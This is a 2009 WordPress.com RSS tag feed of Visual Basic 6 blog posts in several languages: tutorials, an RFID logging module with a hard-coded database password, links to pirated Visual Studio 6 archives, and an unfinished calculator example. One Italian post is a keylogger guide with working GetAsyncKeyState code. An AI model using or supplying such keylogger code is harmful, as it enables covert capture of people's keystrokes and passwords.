<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>visual-basic-60 &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/visual-basic-60/</link>
	<description>Feed of posts on WordPress.com tagged "visual-basic-60"</description>
	<pubDate>Thu, 03 Dec 2009 00:53:28 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Visual Basic 6 : Membuat Crystal Report menggunakan Database Access yang ter Password]]></title>
<link>http://davidnakoko.wordpress.com/2009/11/26/visual-basic-6-membuat-crystal-report-menggunakan-database-access-yang-ter-password/</link>
<pubDate>Thu, 26 Nov 2009 13:05:52 +0000</pubDate>
<dc:creator>eko purnomo</dc:creator>
<guid>http://davidnakoko.wordpress.com/2009/11/26/visual-basic-6-membuat-crystal-report-menggunakan-database-access-yang-ter-password/</guid>
<description><![CDATA[Dua hari yang lalu temen saya mas Indra tanya.. &#8220;mas tau gak, carane buat report menggunakan C]]></description>
<content:encoded><![CDATA[Dua hari yang lalu temen saya mas Indra tanya.. &#8220;mas tau gak, carane buat report menggunakan C]]></content:encoded>
</item>
<item>
<title><![CDATA[VB 6 UpDown Text]]></title>
<link>http://denshy.wordpress.com/2009/11/03/vb-6-updown-text/</link>
<pubDate>Tue, 03 Nov 2009 14:35:56 +0000</pubDate>
<dc:creator>denshy</dc:creator>
<guid>http://denshy.wordpress.com/2009/11/03/vb-6-updown-text/</guid>
<description><![CDATA[Private Sub Timer4_Timer() Static Atas As Boolean Label2.Top = Label2.Top + IIf(Atas, -50, 50) If La]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Private Sub Timer4_Timer()<br />
Static Atas As Boolean<br />
Label2.Top = Label2.Top + IIf(Atas, -50, 50)<br />
If Label2.Top &#60; 0 Then<br />
Atas = False<br />
ElseIf Label2.Top &#62; Me.Height &#8211; Label2.Height &#8211; 300 Then<br />
Atas = True<br />
End If<br />
End Sub</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Retrival data dari RFID ]]></title>
<link>http://yora15.wordpress.com/2009/10/30/retrival-data-dari-rfid/</link>
<pubDate>Fri, 30 Oct 2009 07:25:46 +0000</pubDate>
<dc:creator>soni yora</dc:creator>
<guid>http://yora15.wordpress.com/2009/10/30/retrival-data-dari-rfid/</guid>
<description><![CDATA[Option Explicit Public conn As New ADODB.Connection Public rs_pengunjung As New ADODB.Recordset Publ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Option Explicit<br />
Public conn As New ADODB.Connection<br />
Public rs_pengunjung As New ADODB.Recordset<br />
Public cmd As New ADODB.Command<br />
Public Function ambilIPRFID() As String<br />
On Error GoTo ErrTrap<br />
Dim intFileNumber As Integer</p>
<p>If Dir(App.Path &#38; &#8220;\ip.txt&#8221;) = &#8220;&#8221; Then Exit Function<br />
intFileNumber = FreeFile<br />
Open App.Path &#38; &#8220;\ip.txt&#8221; For Input As #intFileNumber</p>
<p>ambilIPRFID = Input(LOF(intFileNumber), #intFileNumber)<br />
Exit Function</p>
<p>ErrTrap:<br />
Close #intFileNumber<br />
MsgBox &#8220;IP address server tidak ditemukan&#8230;!&#8221;, vbOKOnly, &#8220;Pesan error&#8221;<br />
End<br />
End Function<br />
Public Sub koneksiDB()<br />
On Error GoTo koneksiError<br />
Dim strKoneksi As String</p>
<p>conn.ConnectionString = &#8220;Provider=OraOLEDB.Oracle.1;Password=123456;Persist Security Info=True;User ID=digilib;Data Source=esw-001/digilib&#8221;<br />
conn.Open<br />
cmd.ActiveConnection = conn<br />
Exit Sub</p>
<p>koneksiError:<br />
MsgBox &#8220;Koneksi database gagal&#8230;hubungi administrator anda!&#8221;, vbOKOnly, &#8220;pesan error&#8221;<br />
End Sub</p>
<p>&#8216;============================================modul form====================================<br />
Private Sub Form_Load()<br />
koneksiRFIDReader<br />
End Sub</p>
<p>Private Sub Form_Unload(Cancel As Integer)<br />
CZKEM1.Disconnect<br />
conn.Close<br />
End Sub</p>
<p>Private Sub Timer1_Timer()<br />
ambilDataRFID<br />
End Sub</p>
<p>Private Sub koneksiRFIDReader()<br />
If CZKEM1.Connect_Net(Trim(ambilIPRFID()), 4370) Then<br />
koneksiDB<br />
Else<br />
Beep<br />
MsgBox &#8220;Koneksi ke RFID Reader gagal&#8230;hubungi administrator anda..!&#8221;, vbOKOnly, &#8220;pesan errror..&#8221;<br />
End<br />
End If<br />
End Sub<br />
Private Sub ambilDataRFID()<br />
On Error Resume Next</p>
<p>Dim dwEnrollNumber As Long<br />
Dim dwVerifyMode As Long<br />
Dim dwInOutMode As Long<br />
Dim timeStr As String</p>
<p>If CZKEM1.ReadGeneralLogData(2) Then<br />
Do While CZKEM1.GetGeneralLogDataStr(2, dwEnrollNumber, dwVerifyMode, dwInOutMode, timeStr)</p>
<p>cmd.CommandType = adCmdStoredProc<br />
cmd.CommandText = &#8220;proc_data_anggota&#8221;<br />
cmd.Parameters.Append cmd.CreateParameter(&#8220;idnya&#8221;, adInteger, adParamInput, , dwEnrollNumber)<br />
cmd.Parameters.Append cmd.CreateParameter(&#8220;tgl&#8221;, adVarChar, adParamInput, 20, Format(timeStr, &#8220;DD-MM-YYYY:h:m:s&#8221;))<br />
cmd.Execute</p>
<p>cmd.Parameters.Delete (&#8220;idnya&#8221;)<br />
cmd.Parameters.Delete (&#8220;tgl&#8221;)<br />
&#8216;MsgBox &#8220;waktu= &#8221; &#38; Format(timeStr, &#8220;DD-MM-YYYY:H:mm:ss&#8221;), vbOKOnly, &#8220;pesan&#8221;</p>
<p>Loop<br />
CZKEM1.ClearGLog (2)<br />
End If<br />
End Sub</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Visual Basic]]></title>
<link>http://setansuper.wordpress.com/2009/07/21/visual-basic/</link>
<pubDate>Tue, 21 Jul 2009 00:00:56 +0000</pubDate>
<dc:creator>Achellis</dc:creator>
<guid>http://setansuper.wordpress.com/2009/07/21/visual-basic/</guid>
<description><![CDATA[Assalamualaikum Pada artikel kali ini saya mencoba untuk membahas beberapa sintax pemrograman Visual]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Assalamualaikum</p>
<p>Pada artikel kali ini saya mencoba untuk membahas beberapa sintax pemrograman Visual Basic 6.0 yang pernah saya gunakan untuk mengerjakan Tugas Akhir</p>
<p>&#8230; Connection Lost</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pengenalan Visual Basic 1]]></title>
<link>http://cahb2.wordpress.com/2009/07/17/pengenalan-visual-basic-1/</link>
<pubDate>Fri, 17 Jul 2009 03:53:48 +0000</pubDate>
<dc:creator>cahb2</dc:creator>
<guid>http://cahb2.wordpress.com/2009/07/17/pengenalan-visual-basic-1/</guid>
<description><![CDATA[visual basic]]></description>
<content:encoded><![CDATA[visual basic]]></content:encoded>
</item>
<item>
<title><![CDATA[[Vb6.0]Proxy setting v1.1]]></title>
<link>http://gabry9191.wordpress.com/2009/05/24/vb6-0proxy-setting-v1-1/</link>
<pubDate>Sun, 24 May 2009 13:51:58 +0000</pubDate>
<dc:creator>gabry9191</dc:creator>
<guid>http://gabry9191.wordpress.com/2009/05/24/vb6-0proxy-setting-v1-1/</guid>
<description><![CDATA[ ho appena completato la seconda versione la 1.1 non ho cambiato molto ma ho aggiunto due cose fonda]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p style="text-align:center;"> ho appena completato la seconda versione la 1.1 non ho cambiato molto ma ho aggiunto due cose<br />
fondamentali che nella prima versione mancavano la possibilità di salvare e caricare da un file.txt<br />
la lista dei proxy che altrimenti andrebbe riscritta ogni volta scusatemi per la grafica non bellissima</p>
<p style="text-align:center;">Screen:</p>
<p style="text-align:center;"><img src="http://img509.imageshack.us/img509/9997/dockv.jpg"></p>
<p style="text-align:center;">Download:<br />
<a href="http://virtualcoders.altervista.org/forum/download/file.php?id=10">here</a></p>
<p style="text-align:center;">by gabry9191</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Guida] creare Keylogger]]></title>
<link>http://powerfullhacks.wordpress.com/2009/04/23/guida-creare-keylogger/</link>
<pubDate>Thu, 23 Apr 2009 10:53:48 +0000</pubDate>
<dc:creator>r00t32</dc:creator>
<guid>http://powerfullhacks.wordpress.com/2009/04/23/guida-creare-keylogger/</guid>
<description><![CDATA[Ciao a tutti! In questa guida spiegherò come creare un keylogger&#8230; Apriamo vb6.0 Creiamo un pro]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Ciao a tutti!<br />
In questa guida spiegherò come creare un keylogger&#8230;<br />
Apriamo vb6.0 Creiamo un progetto e lo modifichiamo con i bordi fixed single, lasciare vuota la caption e togliere l&#8217;icona con show icon &#8220;False&#8221;<br />
Fattò ciò inseriamo nel form una Textbox(per ingrandire la textbox cercare nelle proprietà la voce &#8220;Dork&#8221; e ingrandire la parte centrale), inserite anche la proprietà multiline, una Scrollbars &#8220;Vertical&#8221; e un timer con intervall &#8220;10&#8243;<br />
Fin qui tutto semplice..<br />
Adesso passiamo ai codici&#8230; all&#8217;inizio della pagina dei codici di Visual Basic vi è scritto &#8220;Public Class Form1&#8243; al di sotto inserire questo codice..</p>
<blockquote><p>dim result as integer</p></blockquote>
<p>Dopo aver scritto il codice premere invio e dovrebbe uscire una spaziatura&#8230; e inserire quest&#8217;altro codice..</p>
<blockquote><p>Private Declare Function GetAsyncKeyState Lib &#8220;user32&#8243; (ByVal vKey as long) as integer</p></blockquote>
<p>Alla fine inserire nel Timer questo codice:</p>
<blockquote><p>for i = 1 to 255<br />
    result = 0<br />
    result = getAsyncKeyState(i)<br />
    if result = -32767 then<br />
    textbox1.text = textbox1.text + chr(i)<br />
end if<br />
next i</p></blockquote>
<p>e nel form questo codice</p>
<blockquote><p>timer1.start()</p></blockquote>
<p>Finito <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
Adesso basta premere il tasto play e ve lo collaudate<br />
potete provare con il blocco note .. se scrivete noterete che il keylogger riporterà le stesse parole.<br />
Alla prossima !</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Visual Básic, Fox Pro, C++, InterDev 6.0 en español]]></title>
<link>http://icopx.wordpress.com/2009/04/08/visual-basic-fox-pro-c-interdev-60-en-espanol/</link>
<pubDate>Wed, 08 Apr 2009 17:42:00 +0000</pubDate>
<dc:creator>icopx</dc:creator>
<guid>http://icopx.wordpress.com/2009/04/08/visual-basic-fox-pro-c-interdev-60-en-espanol/</guid>
<description><![CDATA[Incluye: Visual Básic 6.0, Fox Pro 6.0, C++ 6.0, InterDev 6.0. Son 3 archivos (2 de 96MB cada uno y ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-4" title="estudio" src="http://icopx.wordpress.com/files/2009/04/estudio.jpg" alt="estudio" width="454" height="131" /></p>
<p><strong><em>Incluye:</em> Visual Básic 6.0, Fox Pro 6.0, C++ 6.0, InterDev 6.0.</strong></p>
<blockquote><p>Son 3 archivos (2 de 96MB cada uno y 1 de 46MB). Es una imagen en formato .NRG, solo tenes que hacer doble click sobre el archivo y se va abrir el NERO, selecciona la grabadora, la velocidad de grabación y dale rosca nomás. Si necesitas un gestor de descargas yo uso el <a href="http://jdownloader.org/" target="_blank">Jdownloader</a> y me anda 10 puntos.</p></blockquote>
<p><em>Por las dudas aclaro:</em> Todas las partes del archivo rar, tienen q estar en la misma carpeta para no generar ningun problema. Hace clic derecho en la parte 1 y dale &#8220;extraer aquí&#8221; y listo, el Winrar se encarga de los demás. No tiene contraseña.</p>
<p><em><strong>Partes:</strong></em></p>
<p><a href="http://www.mediafire.com/file/mytjmhz5dzt/visual6.0_para_icop.part1.rar">http://www.mediafire.com/file/mytjmhz5dzt/visual6.0_para_icop.part1.rar</a></p>
<p><a href="http://www.mediafire.com/file/omuy0mmndtn/visual6.0_para_icop.part2.rar">http://www.mediafire.com/file/omuy0mmndtn/visual6.0_para_icop.part2.rar</a></p>
<p><a href="http://www.mediafire.com/file/bymgrdjzytm/visual6.0_para_icop.part3.rar">http://www.mediafire.com/file/bymgrdjzytm/visual6.0_para_icop.part3.rar</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Vb6.0]Database]]></title>
<link>http://gabry9191.wordpress.com/2009/03/25/vb60database/</link>
<pubDate>Wed, 25 Mar 2009 14:49:10 +0000</pubDate>
<dc:creator>gabry9191</dc:creator>
<guid>http://gabry9191.wordpress.com/2009/03/25/vb60database/</guid>
<description><![CDATA[Database by gabry9191 Funzioni: -è di utilizzo lavorativo- -serve per gestire delle informazioni- -s]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p align="center"><strong>Database by gabry9191</strong><br />
<img src="http://www.innova.campania.it/servizi/tecnologie%20informatiche/database_innovativi.jpg" alt="Database" /></p>
<p align="center"><strong>Funzioni:</strong><br />
-è di utilizzo lavorativo-<br />
-serve per gestire delle informazioni-<br />
-salva tutto su un file .txt il quale può essere caricato-<br />
-attraverso due liste si selezionano gli elementi e si salvano solo quelli voluti-<br />
-possibilità di inserire i dati nella seconda lista con alla fine la &#8220;,&#8221; per facilitare l&#8217;inserimento dei dati in certi server-<br />
-possibilità di inserire i dati dalla prima alla seconda lista con un bottone selezionandone uno alla volta o selezionandolo direttamente dalla lista-</p>
<p>il source lo trovate all&#8217;interno del file .rar insieme all&#8217;exe e a tutto il resto</p>
<p align="center"><strong>Screen:</strong><br />
<img src="http://img23.imageshack.us/img23/4172/hahahn.png" alt="Screen" /></p>
<p align="center"><strong>Download:</strong><br />
<a href="http://virtualcoders.altervista.org/forum/download/file.php?id=4">Link</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Aplikasi Kalkulator Sederhana]]></title>
<link>http://denshy.wordpress.com/2009/03/03/aplikasi-kalkulator-sederhana/</link>
<pubDate>Tue, 03 Mar 2009 02:16:58 +0000</pubDate>
<dc:creator>denshy</dc:creator>
<guid>http://denshy.wordpress.com/2009/03/03/aplikasi-kalkulator-sederhana/</guid>
<description><![CDATA[Mesin hitung atau Kalkulator adalah alat untuk menghitung dari perhitungan sederhana seperti penjuml]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><!--[if gte mso 9]&#62;  Normal 0       MicrosoftInternetExplorer4  &#60;![endif]--></p>
<p class="MsoNormal" style="text-indent:36pt;">Mesin hitung atau Kalkulator adalah alat untuk menghitung dari perhitungan sederhana seperti penjumlahan, pengurangan, perkalian dan pembagian sampai kepada kalkulator sains yang dapat menghitung rumus matematika tertentu. Pada perkembangannya sekarang ini, kalkulator sering dimasukkan sebagai fungsi tambahan daripada komputer, handphone, bahkan sampai jam tangan.<!--more--></p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>Disini kita akan membahas tentang cara membuat kalkulator di computer dari software Visual Basic 6.0. Kalkulator tersebut sederhana sekali menyerupai kalkulator – kalkulator yang biasanya digunakan di sebuah toko – toko <span> </span>kecil pada umumnya.</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>Sebelum membuat aplikasi tersebut yang pasti kita harus membuat design formnya terlebih dahulu. Perhatikan contoh Design Form di bawah ini :</p>
<p class="MsoNormal">
<p class="MsoNormal"><img class="aligncenter size-thumbnail wp-image-934" title="Design Form" src="http://denshy.wordpress.com/files/2009/03/asaa1.jpg?w=117" alt="Design Form" width="117" height="96" /></p>
<p class="MsoNormal">
<p class="MsoNormal"><!--[if gte mso 9]&#62;  Normal 0       MicrosoftInternetExplorer4  &#60;![endif]--></p>
<p class="MsoNormal">Untuk properties dari masing-masing objek, saya contohkan seperti dibawah ini, dengan letak masing-masing objek disesuaikan dengan gambar diatas.</p>
<p class="MsoNormal">
<p class="MsoNormal">Textbox 1:</p>
<p class="MsoNormal">(Name) : txtDisplay</p>
<p class="MsoNormal">Alignment: 1-Right Justify</p>
<p class="MsoNormal">Text : (kosongkan)</p>
<p class="MsoNormal">Maxlength : 12</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 1:</p>
<p class="MsoNormal">(Name) : cmdAngka</p>
<p class="MsoNormal">Index : 1</p>
<p class="MsoNormal">Caption : 1</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 2:</p>
<p class="MsoNormal">(Name) : cmdAngka</p>
<p class="MsoNormal">Index : 2</p>
<p class="MsoNormal">Caption : 2</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 3:</p>
<p class="MsoNormal">(Name) : cmdAngka</p>
<p class="MsoNormal">Index : 3</p>
<p class="MsoNormal">Caption : 3</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 4:</p>
<p class="MsoNormal">(Name) : cmdAngka</p>
<p class="MsoNormal">Index : 4</p>
<p class="MsoNormal">Caption : 4</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 5:</p>
<p class="MsoNormal">(Name) : cmdAngka</p>
<p class="MsoNormal">Index : 5</p>
<p class="MsoNormal">Caption : 5</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 6:</p>
<p class="MsoNormal">(Name) : cmdAngka</p>
<p class="MsoNormal">Index : 6</p>
<p class="MsoNormal">Caption : 6</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 7:</p>
<p class="MsoNormal">(Name) : cmdAngka</p>
<p class="MsoNormal">Index : 7</p>
<p class="MsoNormal">Caption : 7</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 8:</p>
<p class="MsoNormal">(Name) : cmdAngka</p>
<p class="MsoNormal">Index : 8</p>
<p class="MsoNormal">Caption : 8</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 9:</p>
<p class="MsoNormal">(Name) : cmdAngka</p>
<p class="MsoNormal">Index : 9</p>
<p class="MsoNormal">Caption : 9</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 10:</p>
<p class="MsoNormal">(Name) : cmdAngka</p>
<p class="MsoNormal">Index : 0</p>
<p class="MsoNormal">Caption : 0</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 11:</p>
<p class="MsoNormal">(Name) : cmdPlusMinus</p>
<p class="MsoNormal">Caption : +/</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal">Command Button 12:</p>
<p class="MsoNormal">(Name) : cmdKoma</p>
<p class="MsoNormal">Caption : .</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 13:</p>
<p class="MsoNormal">(Name) : cmdOperator</p>
<p class="MsoNormal">Index : 1</p>
<p class="MsoNormal">Caption : +</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 14:</p>
<p class="MsoNormal">(Name) : cmdOperator</p>
<p class="MsoNormal">Index : 2</p>
<p class="MsoNormal">Caption : -</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 15:</p>
<p class="MsoNormal">(Name) : cmdOperator</p>
<p class="MsoNormal">Index : 3</p>
<p class="MsoNormal">Caption : x</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 16:</p>
<p class="MsoNormal">(Name) : cmdOperator</p>
<p class="MsoNormal">Index : 4</p>
<p class="MsoNormal">Caption : /</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 17:</p>
<p class="MsoNormal">(Name) : cmdClearEntry</p>
<p class="MsoNormal">Caption : CE</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 18:</p>
<p class="MsoNormal">(Name) : cmdClear</p>
<p class="MsoNormal">Caption : C</p>
<p class="MsoNormal">
<p class="MsoNormal">Command Button 19:</p>
<p class="MsoNormal">(Name) : cmdSamaDengan</p>
<p class="MsoNormal">Caption : =</p>
<p class="MsoNormal">
<p class="MsoNormal">Berikutnya, Anda tinggal membuat coding dari kalkulator tersebut. Jika Anda mengikuti semua</p>
<p class="MsoNormal">setting properties seperti diatas, maka codingnya saya contohkan seperti ini:</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal">Option Explicit</p>
<p class="MsoNormal">
<p class="MsoNormal">Private Hasil As Double</p>
<p class="MsoNormal">Private Const opNol = 0</p>
<p class="MsoNormal">Private Const opTambah = 1</p>
<p class="MsoNormal">Private Const opKurang = 2</p>
<p class="MsoNormal">Private Const opKali = 3</p>
<p class="MsoNormal">Private Const opBagi = 4</p>
<p class="MsoNormal">Private Operator As Integer</p>
<p class="MsoNormal">Private NilaiBaru As Boolean</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; untuk menghapus karakter terakhir</p>
<p class="MsoNormal">Private Sub Hapus()</p>
<p class="MsoNormal">Dim txt As String</p>
<p class="MsoNormal">Dim min_len As Integer</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>txt = txtDisplay.Text</p>
<p class="MsoNormal">If Left$(txt, 1) = &#8220;-&#8221; Then</p>
<p class="MsoNormal">min_len = 2</p>
<p class="MsoNormal">Else</p>
<p class="MsoNormal">min_len = 1</p>
<p class="MsoNormal">End If</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>If Len(txt) &#62; min_len Then</p>
<p class="MsoNormal">txtDisplay.Text = Left$(txt, Len(txt) &#8211; 1)</p>
<p class="MsoNormal">Else</p>
<p class="MsoNormal">txtDisplay.Text = &#8220;0&#8243;</p>
<p class="MsoNormal">End If</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; hapus angka, hasil terakhir dan operator</p>
<p class="MsoNormal">
<p class="MsoNormal">Private Sub cmdClear_Click()</p>
<p class="MsoNormal">cmdClearEntry_Click</p>
<p class="MsoNormal">Hasil = 0</p>
<p class="MsoNormal">Operator = opNol</p>
<p class="MsoNormal">
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; hapus angka</p>
<p class="MsoNormal">Private Sub cmdClearEntry_Click()</p>
<p class="MsoNormal">txtDisplay.Text = &#8220;&#8221;</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; menambahkan koma (desimal)</p>
<p class="MsoNormal">Private Sub cmdKoma_Click()</p>
<p class="MsoNormal">If InStr(txtDisplay.Text, &#8220;.&#8221;) Then</p>
<p class="MsoNormal">Beep</p>
<p class="MsoNormal">Else</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>If NilaiBaru Then</p>
<p class="MsoNormal">txtDisplay.Text = &#8220;.&#8221;</p>
<p class="MsoNormal">NilaiBaru = False</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>Else</p>
<p class="MsoNormal">txtDisplay.Text = txtDisplay.Text &#38; &#8220;.&#8221;</p>
<p class="MsoNormal">End If</p>
<p class="MsoNormal">End If</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; Menghitung</p>
<p class="MsoNormal">Private Sub cmdSamaDengan_Click()</p>
<p class="MsoNormal">Dim HasilBaru As Double</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>If txtDisplay.Text = &#8220;&#8221; Then</p>
<p class="MsoNormal">HasilBaru = 0</p>
<p class="MsoNormal">Else</p>
<p class="MsoNormal">
<p class="MsoNormal">HasilBaru = CDbl(txtDisplay.Text)</p>
<p class="MsoNormal">End If</p>
<p class="MsoNormal">Select Case Operator</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>Case opNol</p>
<p class="MsoNormal">Hasil = HasilBaru</p>
<p class="MsoNormal">Case opTambah</p>
<p class="MsoNormal">Hasil = Hasil + HasilBaru</p>
<p class="MsoNormal">Case opKurang</p>
<p class="MsoNormal">Hasil = Hasil -HasilBaru</p>
<p class="MsoNormal">Case opKali</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal">Hasil = Hasil * HasilBaru</p>
<p class="MsoNormal">Case opBagi</p>
<p class="MsoNormal">&#8216;Tidak bisa dibagi nol</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal">If HasilBaru = 0 Then</p>
<p class="MsoNormal">MsgBox &#8220;Tidak bisa dibagi 0&#8243;, vbOKOnly + vbCritical, &#8220;Kalku ERROR&#8221;</p>
<p class="MsoNormal">Call cmdClear_Click</p>
<p class="MsoNormal">Else</p>
<p class="MsoNormal">Hasil = Hasil / HasilBaru</p>
<p class="MsoNormal">End If</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>End Select</p>
<p class="MsoNormal">Operator = opNol</p>
<p class="MsoNormal">NilaiBaru = True</p>
<p class="MsoNormal">txtDisplay.Text = Format$(Hasil)</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal">&#8216; menuliskan angka</p>
<p class="MsoNormal">Private Sub cmdAngka_Click(Index As Integer)</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>If NilaiBaru Then</p>
<p class="MsoNormal">txtDisplay.Text = Format$(Index)</p>
<p class="MsoNormal">NilaiBaru = False</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>Else</p>
<p class="MsoNormal">txtDisplay.Text = _</p>
<p class="MsoNormal">txtDisplay.Text &#38; Format$(Index)</p>
<p class="MsoNormal">End If</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; tombol tambah/kurang/bagi/kali</p>
<p class="MsoNormal">Private Sub cmdOperator_Click(Index As Integer)</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>cmdSamaDengan_Click</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>Operator = Index</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>NilaiBaru = True</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; merubah tanda +/-</p>
<p class="MsoNormal">Private Sub cmdPlusMinus_Click()</p>
<p class="MsoNormal">If NilaiBaru Then</p>
<p class="MsoNormal">txtDisplay.Text = &#8220;-&#8221;</p>
<p class="MsoNormal">ElseIf Left$(txtDisplay.Text, 1) = &#8220;-&#8221; Then</p>
<p class="MsoNormal">txtDisplay.Text = Right$(txtDisplay.Text, 2)</p>
<p class="MsoNormal">Else</p>
<p class="MsoNormal">txtDisplay.Text = &#8220;-&#8221; &#38; txtDisplay.Text</p>
<p class="MsoNormal">End If</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; filter untuk angka saja yg dapat diketikkan</p>
<p class="MsoNormal">Private Sub Form_KeyPress(KeyAscii As Integer)</p>
<p class="MsoNormal">txtDisplay_KeyPress KeyAscii</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)</p>
<p class="MsoNormal">txtDisplay_KeyUp KeyCode, Shift</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; supaya kursor tetap di kanan</p>
<p class="MsoNormal">Private Sub txtDisplay_Change()</p>
<p class="MsoNormal">txtDisplay.SelStart = Len(txtDisplay.Text)</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">Private Sub txtDisplay_GotFocus()</p>
<p class="MsoNormal">txtDisplay_Change</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; untuk mengetikkan angka di keyboard</p>
<p class="MsoNormal">Private Sub txtDisplay_KeyPress(KeyAscii As Integer)</p>
<p class="MsoNormal">Dim ch As String</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>ch = Chr$(KeyAscii)</p>
<p class="MsoNormal">Select Case ch</p>
<p class="MsoNormal">Case &#8220;0&#8243;</p>
<p class="MsoNormal">cmdAngka_Click 0</p>
<p class="MsoNormal">Case &#8220;1&#8243;</p>
<p class="MsoNormal">cmdAngka_Click 1</p>
<p class="MsoNormal">Case &#8220;2&#8243;</p>
<p class="MsoNormal">cmdAngka_Click 2</p>
<p class="MsoNormal">Case &#8220;3&#8243;</p>
<p class="MsoNormal">cmdAngka_Click 3</p>
<p class="MsoNormal">Case &#8220;4&#8243;</p>
<p class="MsoNormal">cmdAngka_Click 4</p>
<p class="MsoNormal">Case &#8220;5&#8243;</p>
<p class="MsoNormal">cmdAngka_Click 5</p>
<p class="MsoNormal">Case &#8220;6&#8243;</p>
<p class="MsoNormal">cmdAngka_Click 6</p>
<p class="MsoNormal">Case &#8220;7&#8243;</p>
<p class="MsoNormal">cmdAngka_Click 7</p>
<p class="MsoNormal">Case &#8220;8&#8243;</p>
<p class="MsoNormal">cmdAngka_Click 8</p>
<p class="MsoNormal">Case &#8220;9&#8243;</p>
<p class="MsoNormal">cmdAngka_Click 9</p>
<p class="MsoNormal">Case &#8220;*&#8221;, &#8220;x&#8221;, &#8220;X&#8221;</p>
<p class="MsoNormal">cmdOperator_Click opKali</p>
<p class="MsoNormal">Case &#8220;+&#8221;</p>
<p class="MsoNormal">cmdOperator_Click opTambah</p>
<p class="MsoNormal">Case vbCrLf, vbCr, &#8220;=&#8221;</p>
<p class="MsoNormal">cmdSamaDengan_Click</p>
<p class="MsoNormal">Case &#8220;-&#8221;</p>
<p class="MsoNormal">cmdOperator_Click opKurang</p>
<p class="MsoNormal">Case &#8220;.&#8221;</p>
<p class="MsoNormal">cmdKoma_Click</p>
<p class="MsoNormal">Case &#8220;/&#8221;</p>
